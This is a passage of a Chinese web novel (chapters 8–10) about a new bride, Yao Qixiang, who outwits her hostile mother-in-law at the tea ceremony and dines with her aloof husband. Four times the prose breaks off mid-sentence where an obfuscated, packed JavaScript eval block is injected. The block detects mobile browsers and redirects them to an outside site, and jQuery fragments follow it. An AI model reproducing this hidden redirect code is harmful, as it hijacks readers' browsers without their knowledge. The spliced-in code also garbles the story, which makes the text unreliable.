月华替她穿好了衣服,晨露端了水来给她净手净面,姚戚香边洗边想,果然他也担心被别人知道吧?他也怕别人知道他有隐疾的事吧? 啧,隐疾一事,八成是真的。 拾掇好之后,姚戚香理了理发鬓,带着两个丫鬟前往云栖堂履行今日之敬茶。 新妇过门第一日要认全家里的人,所以整个孟家说得上话的主子们都会来,姚戚香走到云栖堂外时,便见几对年轻的站在两侧,高堂上坐的唯有两人,一个是她先前见过的孟氏主母常秋兰,另一个一把胡须样貌威严,应该就是孟扶危的爹了吧? 而孟扶危就站在中间,正在被常秋兰问话,孟扶危神情平静,常秋兰脸上带着慈爱的笑,看上去应该只是寻常装模作样的问候罢了。 姚戚香步入堂中。 “儿媳姚戚香,见过婆母,公爹,各位长辈。” 常氏笑了,她脸上慈爱的模样没改,单独朝着姚戚香看来,姚戚香对上她的眼睛,只觉得她那双眼睛笑里藏刀。 哎烦,她最烦受人胁迫了,要是她这婆母好言好语哄着她,她或许还真能为她办些事,心情好了,自然什么话都好说了。 可这个人,偏偏用了这种她最不喜欢的方式,三番五次的威胁她,还真当她是低门小户出身的,这么容易就能被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429572|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓住? 横竖这桩婚事已经成了,她怎么就不能反悔呢? “哟,快让我瞧瞧,真是年轻,真是水灵啊。”一女子忽然靠了过来,拉着姚戚香的手将她上下打量着。 姚戚香也飞快扫了眼她,二十多岁的模样,穿着身桃粉色的袖衫,生得妩媚可人,她来前也是做过功课的,她名头上有一位嫂嫂,是二房那边的,想必就是眼前这位了。 姚戚香笑了笑:“见过嫂嫂。” 孙月瑶嘴角的笑意微微一凝,随后又挑了下眉,看着众人道:“真是的,你们瞧瞧,她怎么这么机灵,我还想卖卖关子呢,她这就给猜出来了。” 那么,贴着孙氏站着的那位,想必就是二房的儿子,她也成跟着孟扶危称一句堂兄了。 “堂兄。”姚戚香微微点头,他们到底是平辈,倒也犯不着让她行礼。 孟极点点头,并不多话。 姚戚香忍不住打量了孟极一眼,大腹便便,油光满面,实在令人不想看第二眼。 “来来来,我为你介绍。”孙月瑶拉着她转向另一边,指着一个年轻俊朗,朝气蓬勃的儿郎道,“这是三房那边的孟檀,这是他妹妹孟安然。” 姚戚香看了过去,还没看清孟安然是个什么模样,那小丫头便压低了脑袋,跟着哥哥孟檀一起朝她问候:“嫂嫂。” 人算是认完了,二房和三房只来了小辈,长辈未来,以后慢慢认也不迟。 这个时候,一名老妇带着一个女使端着一个盘子上来,上面放着一个精致的冰纹茶壶,两个杯子,递到了姚戚香面前。 她先倒了杯茶呈到了公爹面前,道:“公爹请用茶。” 孟祁柏伸手接过,象征性地抿了抿便放了回去,全程一直冷着脸,连句话也没有。 常氏好歹还要撑撑面子,这位竟然连这点脸面都不撑一下,真是不中用。 姚戚香暗自腹诽完,又默默去倒了第二杯,呈到了常氏面前。 “婆母请用茶。” 近日天气已经很热了,她虽然穿着春衫,但衣裳也很单薄,跪在这硬邦邦的石地上实在算不得好受。 本想着马上就能起来了,谁承想这常氏竟然没有接她的茶,反而慢条斯理地往后一靠,徐徐说起话来。 常秋兰:“今日,你犯了几处错,你可知情?” 姚戚香挑起眉毛,下意识就想瞪过去,很快反应过来这里是孟家,这里的每一个人,什么来路,什么秉性,她全然不知,不是她发作的时候。 于是姚戚香温温顺顺,佯作疑惑:“儿媳不知,请婆母赐教。” 她手里还端着茶,须臾功夫,手已经有些酸了。 常氏淡淡一笑,道:“你是我孟家的新妇,我自然愿意宽厚待你,可孟氏大族,规矩森严,今日我若不同你讲清楚,难免你以后再犯,为了你好,我还是要句句同你拆分清楚才是。” …… 姚戚香一个字也不想听。 她跪了有一会儿了,自觉已经给足了常氏面子,现在也是时候起来了。 就在这个时候,姚戚香余光瞥见孟扶危往前动了动……她突然灵光一闪,将身子一歪,连同手中的茶盏一同泼了出去。 茶还热着,尽数泼到了常氏的裙摆上,倒也不至于滚烫。 常秋兰猛地站起了身,厉声:“你这是做什么?莫不是姚家就是这样教你……” 姚戚香扶住额头,虚虚吐了口气,颤声道:“婆母见谅,儿媳不是故意的!只是昨夜……夫君过于体恤,儿媳实在……体力不支。” 8. 第8章 不就是弱不经风吗? 不就是侍儿扶起娇无力吗? 这种东西,姚戚香小时候就会了,她斜着身子坐了下来,装出一副眩晕的模样,膝盖顿时好受许多。 然云栖堂一时陷入死一般的寂静。 常秋兰后面责问的话,则是生生卡在了喉咙里,她高门主母的尊容令她一时想不出要如何体面地回这句话,只能大睁着眼瞪着姚戚香。 旁边的孟祁柏震惊过后,紧紧拧起了眉,同时还有孙月瑶和她夫君孟极,还有三房那两个小辈,几个人的表情如同一个模子里刻出的一般,皆睁大了眼睛,不知所措。 所有人无处安放的视线逡巡了片刻,都殊途同归地落在了孟扶危这个当事人身上。 孟扶危静静站着,他瞥向姚戚香,很快又收回了目光。 因着他在这儿,满屋子的人没谁敢对姚戚香说一句不是,毕竟姚戚香那句话里,还捎带着孟扶危。 “这……”这下连常秋兰也看向孟扶危,她的眼神里诸多尴尬,仿佛怎么也想不到自己竟会亲耳听到这个继子的房中事。 “如此,便先将夫人扶下去歇息吧。”孟扶危开口,平淡地了却了这一件事,就好像方才什么也没有发生,他听见的不过是再寻常不过的一句话。 月华与晨露闻言忙一左一右地扶姚戚香起来,常秋兰冷了冷脸色,看着地上打翻的茶面色不豫。 做戏做足,姚戚香起身时还佯装站不稳晃了两下身子,这才站好,她立刻喜形于色,娇怯怯对着孟扶危来了一句:“多谢夫君体恤。” 体恤,又是体恤,常秋兰第一句觉得这两个字是如此不堪入耳。 茶敬完了,姚戚香转身就走,至于常氏这婆婆茶没有喝着,那关她什么事呢?还是没缘分呐。 她这一走,堂中尴尬的气氛略略松动,三房的孟檀立马起身找了个借口带着妹妹溜了,二房的孟极也起身,不轻不重地拍了两下孟扶危的肩,眼里是旁人看不懂的钦佩。 孙月瑶也低着头,急急跟着自家男人离开了。 敬茶之事作罢,众人皆去,唯独常秋兰仍坐在堂中,目中一片阴霾。 她今日本打算敲山震虎,可没想到这小门户出声的丫头如此没教养,竟将闺房之事拿来说嘴!由此看来,盛京从前对姚戚香的传闻十有八九都是真的,她就是一个没规没矩没教养的丫头! 对付这种人,定要叫她知道厉害! 回松风堂的路上,姚戚香走在前面,孟扶危便走在她身后不远处。 她虽然好端端走着,但总觉得有一道让人无法忽视的视线压在她背上,弄得她浑身不自在。 方才她那套脱身的说辞,不会惹孟扶危生气吧? 姚戚香盯着地上的影子,又想,这天底下哪个男人不喜欢被女人夸赞很行?她虽然是说了谎,可孟扶危与常氏又不对付,怎么想他都不该因此生气。 除非…… 除非他觉得她今日的话太过放浪,这才生气。 正思绪乱飞的时刻,身后一道声音传来,弄得姚戚香本能地缩了下脖子。 “去前屋。” 姚戚香慢慢回过头来,看了眼说话的人。 他神色还是静静,看上去似乎并未有什么波澜,也不像是生气了的样子。 叫她去前屋……真不是去问责的吗? 姚戚香昨日嫁进来,也只在睡觉的屋里待过,松风堂这边究竟是个什么布局,她还没逛过呢。 孟扶危不会要叫她过去训话吧? 因为不认路,姚戚香的脚步自然慢了下来,等孟扶危走过了她身边这才跟上。 松风堂这边安静,雅致,应当是孟府除却云栖堂那边最好的院落了,姚戚香跟着孟扶危走了几步便不觉被这里的景致吸引,原本忐忑的心思也消散了不少。 管他呢,她想,反正兵来将挡水来土掩。 前屋通透敞亮,屋子里飘散着一股淡淡的兰香,姚戚香一走进去,屋里原本在的几个女使就退了下去,她看着孟扶危走到桌边坐下,才看见桌上摆了好几道不错的菜品。 “坐吧。”孟扶危开口。 姚戚香微怔,喊她来吃早饭的? 她起了床就去敬茶了,折腾了半晌早就饿了,可她还满腹心思惦记着昨夜她与孟扶危饮合卺酒时剩下的那几道菜呢,她可只吃了一点,还有大半剩着。 孟府这种简单的菜肴简直比姚家正经宴席上做得还要好,姚戚香惦记着回去热热再吃,没想到孟扶危叫了新的,还让她一起用。 姚戚香坐在了桌边,她见孟扶危已然开始动筷子了,他今日穿着一身简素的蓝衫,显得肤色很白,新婚之夜屋里虽点着灯烛,但到底是晚上,再加上她没好意思,并未细看过这个夫君,此刻近距离坐着,才发现他面如雪玉,风骨凛然。 生得俊朗非凡,在朝堂又身居高位,虽然还不知道究竟有没有隐疾的,作为夫家他的确无可挑剔。 就是性子极冷。 不过也没事,仔细想来,他怕是也不愿这桩婚事,很有些门第之见,大概也看不上她,不愿跟她说话就不说吧,反正也碍不了她什么事。 姚戚香夹了一筷子虾仁放进嘴里,入口的那一瞬间,姚戚香眼神一亮,顿时把什么心思都抛到了九霄云外。 这味道真是不错!她在姚家,从来就没吃过这么好吃的虾仁! 于是姚戚香动了第二筷子、第三筷子,足足吃了五枚虾仁之后,她才舍得去碰了别的菜,无论是豆腐也好,汤也好,鸡也好鱼也好,滋味妙得姚戚香都顾不上分心孟扶危,真真大快朵颐起来。 菜色丰盛,等姚戚香吃饱喝足,发现这桌上的菜还剩下不到一半。 她下意识想,今晚的晚饭有着落了,只是刚生出这个念头没一会儿,她才反应过来自己如今并不是在姚家了,很不必如此省吃俭用,吃了这顿还想着下顿的。 若是让旁人知晓她的想法,恐怕是要被笑掉大牙。 见她吃好了,孟扶危便让人将所有东西都撤下,姚戚香正想着一会儿究竟要如何面对孟扶危,便见他已经起身了。 “近日朝中事忙,我不常在府上,你尽可随意,若是有事可等我晚上回来再说。” 他的声音清清冷冷,平静动听,姚戚香诧异,他这是就要出门去了?那……敬茶的事他就不追究了? 姚戚香起了身,跟着送到门外,看着他大步远去的身影有些出神。 嗯……性子是冷了些,不过情绪倒是十分稳定,她刚刚在云栖堂那边,给他丢人了吧? 不及深想,有个女使过来道:“夫人,奴婢带您在府里逛逛可好?” 姚戚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429573|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香认得她,昨夜在婚房中,她见过这个女使。 “有劳,你叫什么名字?” 女使道:“奴婢茗玉,是在小厨房做事的,松风堂这边女使不多,公子身边只有小厮伺候,因着您来,公子才叫奴婢过来服侍。” 是孟扶危让她来的? 姚戚香意外,她还以为孟扶危不喜欢她这个妻子,便什么都不管了,没想到又送女使又跟她一起吃早饭的,其实也算仔细了。 她虽昨晚因孟扶危的冷淡有些来气,但睡了一觉早就消了,何况今天这顿早饭味道实在不错。 姚戚香从来不对旁人生出任何的指望,她来前把什么糟糕的境遇都想了一遍,可当她真正站在这里时,方觉其实远没有她想象的那么糟糕。 至少孟扶危,还是愿意跟她做做面子上的功夫的。 松风堂这边安静雅致,外围种着一片竹林,很好地隔绝了外面的声音,姚戚香一边走,一边听着茗玉为她讲这是何处,做什么用的,逛完了松风堂,又去了别处,偌大一个孟府慢慢逛到中午,还没有逛完一半。 “太傅!老师,孤看了几遍,还是不懂,这局孤为何输了?” 一个少年声气响在偌大空荡的繁华殿宇之内,这便是当今太子殿下李清,才至十四的年纪,却已经沉稳知礼。 景成帝膝下少子,成王李漓出身不高,不堪为正统人选,后来幸得了幼子李清,景成帝对这个小儿子宠爱异常,十岁那年便将李清册立为太子。 “殿下再仔细想想,臣讲过的,都是一样的局,换了副样貌殿下便忘了。”孟扶危并未上前,随意翻阅着桌上供太子过目的文书,从中拿出一份科目名录来。 “名册已经定下了?”孟扶危开口。 旁边站着的吴内官恭敬回话:“是,陛下亲眼看过了,让人送来给太子殿下过目。” 景成帝年事已高,这次是吉人自有天相,如若不测,怕是随时都有可能崩逝,让太子查看科举名录,也是为太子今后培植人脉考量。 尤其今次科举中有很多新人,这些都是景成帝为这个儿子筹谋的。 “殿下若是闲暇,也应该去贡院周围看看,朝廷在那边设了房舍,大多远道而来的考生都会住在那边。” 李清从迷局中抬起头来,道:“孤若是去,岂非私自结交臣下?那若是让父皇知道了……” 孟扶危抬了眸,“谁跟你说的这话?” 李清讪讪:“是三皇兄。” 成王。 成王李漓今已二十四岁,很早便开府别住,又娶了妻妾,一直都还算安分。 孟扶危:“殿下是太子,与别的皇子不同,这是陛下授意的。” “真的!”李清再是沉稳,可终归还是年纪小,听见能够出宫,眼睛都亮了亮,他看着孟扶危,随后道,“太傅,孤怎么觉得你今日心情这般好,往素都少言寡语的,今日竟跟孤说了这许多话!” 孟扶危不置可否,吴内官道:“殿下,大人,该用午膳了。” “哦!”李清答了,对孟扶危道,“太傅也一同留下来用吧?” “不必了。”孟扶危已然起身,“臣离府前用过了,便先回去了。” “……噢。”李清应了,看着孟扶危离去的背影有些怔愣。 离府前用的,那不是早饭吗? 9. 第9章 逛了半日的孟府,姚戚香也累了,这孟氏府邸还真是大,听说有百年历史了,她这还只是逛了大房这边,二房和三房那边还没有去看过呢。 正想就此作罢回去吃午饭,远远却有一个女使走来,这女使姚戚香很面熟,是常秋兰身边的人。 她挑了下眉,看来今日她这婆母是不愿轻易放过她了。 “姚娘子,主母请您过去一道用饭。” 姚戚香问:“公爹在吗?” 女使:“主君出门了,向来不在府上用午饭。” “好,烦请带路。”姚戚香一边跟着女使走,一边想这常氏叫她过去,又想做什么? 她今日在敬茶时那一场,虽然妄为,但也没有露出什么破绽才是,反正她对外本来就名声不好,当然要做出名声不好的样子来,绝不能落下一个贤淑的模样让人拿捏。 常氏要她嫁过来,除却想让她听话,更多的是为了羞辱孟扶危的,不是吗? 来到云栖堂,姚戚香看见桌旁的常氏,低头行了礼:“婆母。” “听说你去逛园子了?”常秋兰道,“真是好精神。” 姚戚香哪里听不出这话中的讽刺之意,常秋兰是在说,早晨的时候她还因为跪不住体力不支了,刚回去歇了歇就有力气逛园子了? 那怎么了?姚戚香装听不懂:“是,这府里还真大,比姚家大多了,儿媳第一次见,处处都新奇得很。” 常秋兰冷肃着脸,道:“坐吧。” 一桌子菜倒也丰盛,姚戚香想,既然常氏也要吃,总不能给她上些不好的菜,或是在里面放什么不干净的东西吧? 她不动,等着婆母先动,婆母吃哪个菜,她就跟着吃哪个……最好先吃那个鱼,炸得金黄酥脆的,她坐在这儿都闻见香味了。 谁承想,姚戚香等了半晌也没见常氏动筷子。 常秋兰先是慢条斯理用了杯茶,才徐声道:“我还有个儿子,你可知道他?今早你敬茶时,他不在。” 姚戚香自然知道,她过来之前,把孟家的底细都大致摸了一遍,虽然还不清楚这些人究竟是个什么秉性,但名字还是都清楚的,常氏有一子,年十七,叫孟元德。 “儿媳知道。”姚戚香道。 “他素来好学,又处处以他的长兄为榜样,年纪轻轻便才华斐然。” 姚戚香没出声,只静静听着。 “只是他平日里只顾学习,少有与人相交,在京中少有什么朋友知己,这科举最后都是要进殿试的,我听说,殿试之内容天家素有偏好,若是走得人情,细细研磨,也是能问出一二的。”常氏道,“我听说,你父亲便在礼部任职?” 姚戚香轻轻眨了下眼睛,这常氏来下聘的时候,早就将她家的事摸得一清二楚,现在又搞这些虚招子做什么?她爹姚振廷任礼部郎中,小小五品罢了,难道常氏还想让姚振廷去打听陛下的喜好? “正是。”姚戚香道,“不过婆母不是知晓吗?儿媳与家中的关系,实在是不怎么样。” “今时不同往日了。”常秋兰道,“如今你高嫁入了孟家的门,难道于你姚家就没有半分利处吗?想来亲家也是愿意帮这个忙的。” 姚戚香深吸了口气,简直想笑,如果她没记错的话,她应该是昨日才嫁进来,不是去年吧? 姚振廷动作再快,怕是还来不及捞什么好处呢。 “婆母不妨直说吧。”姚戚香笑笑,“儿媳浅陋,不大明白婆母的意思。” 常氏的表情冷了冷,她最是厌恶与这等蠢笨之人说话,说上几句也点不醒。 “京中今年便要考了,若等他中了贡士再去打问,未免太过惹眼,况且那时风声也收得紧,你爹近日不是受到上峰赏识了吗?朝中将祭典之事一并交由了他,想必打问一二殿试之事也不是什么难事。” 姚振廷受到赏识了?姚戚香居然都不知道,她居然还是从常氏嘴里听到的。 “哦,这样。”姚戚香应着,同时脑袋里飞快作出反应——姚振廷怎么靠得住?常氏分明知道,姚家巴不得从她身上赶紧拿些价值回去,怎么会在毫无获利的情况下先替她做事? 孟扶危是三司使,又是太子太傅,陛下年迈险些撒手人寰,今年的科举很可能会被陛下插上人手,为太子铺路。 常秋兰真正的目的不是姚家,而是孟扶危,她想让她这个媳妇开口去求孟扶危,为自己的小儿子铺路。 姚戚香眨了两下眼睛,她心下了然了常秋兰的目的,眼下这件事又推托不掉,她大可先假意答应拖延时间,等她多在孟府留上几日,再看看还有什么出路可走。 姚戚香恭敬道:“我自然是愿意为婆母做事的,顺了婆母的心意,我在这个家中的日子也好过些。” 早上敬茶的时候,她已在众人面前立下了直言不讳的人设,今日又让常秋兰觉得她蠢笨点不透,那她以后做错些事、说错些话,甚至会错了什么意,一切就都有解释的缘由了。 常秋兰皱了皱眉,她很是不喜欢这个姚氏有什么说什么的性子,很多话明晃晃地说出来,面子上就没有那么好看了。 不过好歹这件事姚戚香是应下了,常秋兰面色也略有和缓,这才拿起了筷子,道:“吃饭吧。” 姚戚香不满,这桌子上那碟子炸鱼都要冷了,现在吃还有什么滋味! 她刚要拿起筷子去夹,余光瞥见一道身影过来,是前来引她的那个女使。 “主母。”女使开口,“长公子回来了,说是有些事要寻姚娘子。” 常秋兰朝姚戚香看来,问:“他找你做什么?” 姚戚香茫然地摇了摇头,见她这样,常秋兰又是一声冷笑:“看来,他待你不错?” 姚戚香:“……” “我不知道。”姚戚香说,“他话少极了,统共没跟我说几句,昨天我问他话,他更是一句也没搭理我……直到下人说该熄灯了,他才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429574|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 姚戚香故作羞涩,看见她这副表情,常秋兰脑海中不免又浮现出什么“体恤”、“体虚”的,顿时不耐烦地摆了摆手,让姚戚香赶紧离开。 走出云栖堂后,姚戚香并未觉得松了口气,实话说,她并不怕常氏这个婆母,可她却有些怕这个夫君。 他寡言少语,行事简略,她根本猜不透他的心思,甚至不知道孟扶危会不会也在谋划她些什么。 孟扶危身居高位,深蒙圣眷,这样一个人怎么可能和表面上看上去的那么简单? 路走到了一半,那个叫茗玉的女使便来迎她了,仿佛在怕她不及时赶过来似的。 孟扶危心中其实也在怀疑她与常氏有什么牵扯吧?他定是在防着她。 这两个人,一个是她的夫君,一个是孟氏主母,眼下她偏向谁都没好果子吃。 来到松风堂,茗玉将她引尽一处新的院落,道:“娘子,公子在里面等您。” 姚戚香问:“为何上午逛园子时,你没带我来这儿?” “这里是公子书房,书房重地,公子并不让女使进去,只留了贴身小厮天禄和云韬侍奉。” 姚戚香点了点头,心想这茗玉真是不错,问什么她都答得格外详细,她现在连孟扶危身边的人叫什么都知晓了。 刚刚在云栖堂她一口东西都没吃上,也不知道孟扶危这会儿叫她过来干什么…… 今日天气甚好,晴空万里,姚戚香走进庭院深处时看见了孟扶危。 他坐在一片斑驳的树荫之下,青色的石桌和他身上的青衣将他身上的气质衬得更冷,仿佛连他周围的那一片景致,甚至气息都冷凝住了似的,透着股生人勿近的氛围。 姚戚香就说她不大愿意见这便宜夫君了,与其和他待着,她宁可与常氏对坐一下午。 沙沙的脚步声靠近,姚戚香正犹豫着要叫他什么时,孟扶危已经开了口:“坐吧。” 他连看都没看一眼,就知道是她过来了。 姚戚香草草往石桌上瞥了一眼,紧接着被一股熟悉的气味吸引——小炸鱼! 她忙坐了下来,敢情这孟府的厨房是互通的,云栖堂那边吃什么,这边也吃什么,常氏那坏婆子一口没叫她吃到的鱼,到了这里她总能吃到了吧! 她一坐下,孟扶危便开始动筷子了,姚戚香有些恍惚,难道孟扶危是专程叫她来吃饭的? 对面不开口,姚戚香也没什么话可说,她一筷子夹起一条小炸鱼,眼睛都亮了亮,迫不及待放入口中,酥脆多汁,齿颊留香,而且是热热的! 美! 姚戚香爽了,这么些年她在姚家习惯了热剩饭,吃的素常又都是被邓氏挑拣过的,其实没吃过什么好东西。 没想到嫁来孟府,本以为是个虎狼窝,吃的东西居然升了一大层! 姚戚香愉悦地沉浸在美食之中,所以并未发觉,她那坐在对面的冷淡夫君,无声往她这边看了一眼。 10. 第10章 感觉有些奇怪…… 填饱肚子的姚戚香放下筷子,悄无声息往孟扶危那边瞄了眼,她本以为昨晚她说了那样一番话,已经算是和孟扶危撕破脸皮了。 可今早一起来,这人跟没事人似的,又是和她吃早饭,又是让人带她逛园子,又是和她吃午饭的是怎么一回事? 这般岁月静好,都快成了真夫妻了。 姚戚香猜不透孟扶危到底在想些什么,难道只是心肠好,给她这个刚嫁过来的新妇一些该有的体面吗? 虽然这个可能性不大,但如果万一是这样,是不是也说明孟扶危这个人还不错? 姚戚香想,她在常氏那边定然是讨不了什么好的,孟家的其他人更不可能对她这个外人亲近,她明面上唯一可以依靠的,似乎只有孟扶危…… 而且今早敬茶时,她拿孟扶危出来当挡箭牌,他似乎也没有什么不满。 也许……她可以先试着讨好一番孟扶危?看能不能得些什么实际的好处,就算不能,也能摸清这个人的性子。 于是,姚戚香开口:“刚刚婆母叫我过去时,对我说了些话。” 孟扶危朝她看来,他那双眼睛总像是无边无际的黑夜,即便现在还是大白天,姚戚香被他这样看着还是不免生出退却之意。 她定了定神,神态自若道:“听婆母说,她还有一个小儿子,也就是……您的弟弟,这个人好相处吗?” 孟扶危沉默了一瞬,开口:“二弟顽劣,你若无事,最好不要与之接触。” “哦……好。”姚戚香应了,她自然是不想与之接触的,可常氏让她为孟元德奔走科举之事,这件事她若是不搪塞过去,只怕常氏那边还要找她的麻烦。 孟扶危既然说他顽劣,就没必要在这种事上撒谎,常氏看来很紧张她这个小儿子,想要对付常秋兰,或可以从孟元德身上下手。 “母亲待你如何?”孟扶危出声。 姚戚香道:“婆母待我还行。” 她总不能虚伪地说好极了吧,今早敬茶时是个什么情形,孟扶危不是傻子,他也瞧见了。 “若有难处,可来寻我。”孟扶危又道。 姚戚香有些诧异了,他倒真像是个纯良君子,可她若真有什么事,真和常氏起了冲突,难道孟扶危还会为了她和常氏对着干吗?别说她与孟扶危并无感情,就算是有,世人多重孝道,何况是孟扶危这样身居高位的朝臣,更要注重方方面面,真对付起来,吃亏的也只能是她罢了。 孟扶危的话,姚戚香没有放在心上,她要是真放在心上了,那才是笑话。 “那个,孟扶危。”姚戚香开口,眼下她还真有一件事需要问过他,“后日,你应当会和我一起回门吧?” “嗯。” 得到了肯定的答复,甚至他都没有丝毫迟疑和考量的样子,姚戚香放心了。 午后使人倦懒,姚戚香素有午睡的习惯,今晨为了敬茶她又起了个大早,这会儿不由困了,轻轻打了个呵欠。 她幅度极小,甚至有意控制,不过还是被孟扶危发现了。 “你若累了便自回房中歇息。”他起了身,“这里的东西,片刻会有人来收拾。” 姚戚香起了身,她见孟扶危一副要走的样子,忍不住问:“那你呢?” “你想我陪你?”他又看了过来,宛如黑玉的双眸令人倍感压力。 “不不。”姚戚香连连拒绝,“我怎好劳烦您,我先走了。” 姚戚香快步离开书房,等感觉到那双钉子似的目光消失了,她才略松了口气。 唉,当初真不该那么轻易就松口了宋家的婚事,别的不说,那宋世安肯定比孟扶危好拿捏,而且宋家还没有烦人的婆母。 对了!说起宋世安,姚戚香想起宋世安和姚成碧的婚事也在进行中了,宋世安不知道她的名字,只知道她是姚家的长女,虽然她也不是非常笃定宋世安就是奔着娶她来的,可万一真是,以后东窗事发了她可不想背这件事的锅。 她得想个法子,让宋世安知晓她已经嫁人了,至于之后还娶不娶姚成碧,那是他自己的事。 出了书房没一会儿,姚戚香就看见了茗玉,说实话,目前为止,她还挺喜欢这个姑娘的,人机灵,说话也周全,而且既然是孟扶危身边的人,那应该不会向着常氏那边吧? “茗玉,最近可有什么宴席之类的?”姚戚香问。 “最近京中春日宴正是流行,前几日才办了两场,后面应当还有三五场呢,娘子怎么问这个?” 姚戚香:“没什么,只是我从前甚少参加宴会,怕万一婆母要我去,我认不全席面上的人。” “娘子不必忧心,公子说了,这种席面您若不想,便可不去。” “……”她还是想的,她就是想,这才有了一问。 孟扶危是怕她给他丢人? 于是姚戚香冠冕堂皇地答道:“还是要去的,总不能一直避着,若现在我去了,不懂些规矩,人家也只会觉得我小门户出身,没见过世面很正常。若以后再去,闹出了什么笑话来,那丢的就是孟家的脸了!” 茗玉想了想,也觉得是这个理,点了点头。 午后这一觉姚戚香睡得沉,多少年没睡足过这样一个好觉,等她再睁眼醒来时已过了两个时辰。 净手净面,正打算去外面院子里溜达溜达,就见茗玉快步朝这边来了。 “娘子,云栖堂请您过去用饭。” 云栖堂?姚戚香注意到了茗玉的称呼,她心中了然,接着问:“孟扶危去不去?” 茗玉:“长公子刚出门不久。” “什么时候出的门?” “也就和云栖堂的人来差了一刻钟的时间。” 前后脚啊,常氏这是知道孟扶危离府了才叫她过去吃饭,应该是又要找她说什么话? “走吧。”姚戚香道。 等她到云栖堂时天色已暗,偏厅点了灯,姚戚香一走进去,率先看见的便是一个眉目肖似常氏的青年,她瞬间笃定,这便是孟元德。 什么意思?常氏今天中午没有劝够,还要她晚上再见一遍孟元德,一定要她马上去为这小叔子奔走? 第二眼,姚戚香才看向坐在主位的常秋兰,她行礼:“母亲。” “坐吧。”常秋兰道。 “嫂嫂。”孟元德望向她这边笑着问了一句,并未起身。 他这一笑,姚戚香便觉得他流里流气的,不像是个正经人家的公子。 她脑中想起孟扶危的话——二弟顽劣? 眼瞧着这孟元德也长成了,又不是孩童,这样岁数的人,顽劣能顽劣到什么方面去?总不能真是贪玩的意思。 因是家中小宴,桌子并不大,姚戚香挑了个距离孟元德只隔着一张椅子的位置,在坐下来的时候,她刻意嗅了嗅,而后便从旁侧嗅到一股牡丹花香。 现今正是牡丹盛开的季节,可寻常人哪怕是在花丛中游走,也不会沾染上这么久还散不掉的香气,唯一的解释是,这香气不是真来自牡丹花,而是来自牡丹制成的香粉。 只有女子会搽这样浓郁的香粉,且还能留在男人身上的,也必不会是良家女子。 姚戚香心中有了一个猜测,不可避免地厌恶起与孟元德的接触来。 孟元德已经开始动筷了,他动作很是不拘,上桌吃饭也不大有规矩,虽然那张脸生得还不错,可再好的一张脸,若没有气质衬托,那也是食之无味。 姚戚香忍不住想起孟扶危来,他或许也是像了他的母亲,与这孟元德无半分相似之处,她心存对比,脑海中就不由自主浮现出孟扶危吃饭时优雅从容的样子,好像那些菜都是一个样式,一个滋味,吃什么都没有半点偏好。 她不能说这样的人无趣,她知道孟扶危身居高位,这些仪容是最基本的,相反还很赏心悦目。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429575|169173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚戚香其实不大习惯跟别人一起吃饭,这么多年她经常是一个人,如果旁边有人在,她反而会有些不习惯。 可孟扶危目不斜视,一双眼睛只盯着桌面,一句也不多说,存在感微弱,她很快就适应了。 “戚香。” 姚戚香刚往嘴里放了两根青笋,就听见常氏开了口。 她只能放下筷子回话:“婆母。” “中午跟你说的事,你考虑得如何了?” 姚戚香道:“婆母放心,儿媳回门那日马上就跟父亲说明,一定尽量促成此事。” “嗯。”常氏点了点头,又看向身边只顾吃喝的孟元德,道,“你嫂嫂家中在礼部有些关系,她说她很是愿意为你打点一番。” 孟元德吐出嘴里的鸡骨,用异样的眼光看了姚戚香一眼,开口:“她?她家一个区区五品,我还用得着她打点!?” “这是什么话?”常秋兰道,“你若仔细上进,你嫂嫂还用为你打点这些?我说你平日还是少出去为妙,免得你嫂嫂得知你都去些什么地方,平白笑话你!” 孟元德撂下筷子,猛地朝姚戚香瞪来,大声道:“一个刚进门的外人还管到我头上来了!我看孟家这碗饭,你还没吃明白呢吧?” 姚戚香听出来了,常氏那意思是她主动想为孟元德出去打点,这是顾及着孟元德的面子没开口直说,两句话下来,倒成了她不识好歹多管闲事了? 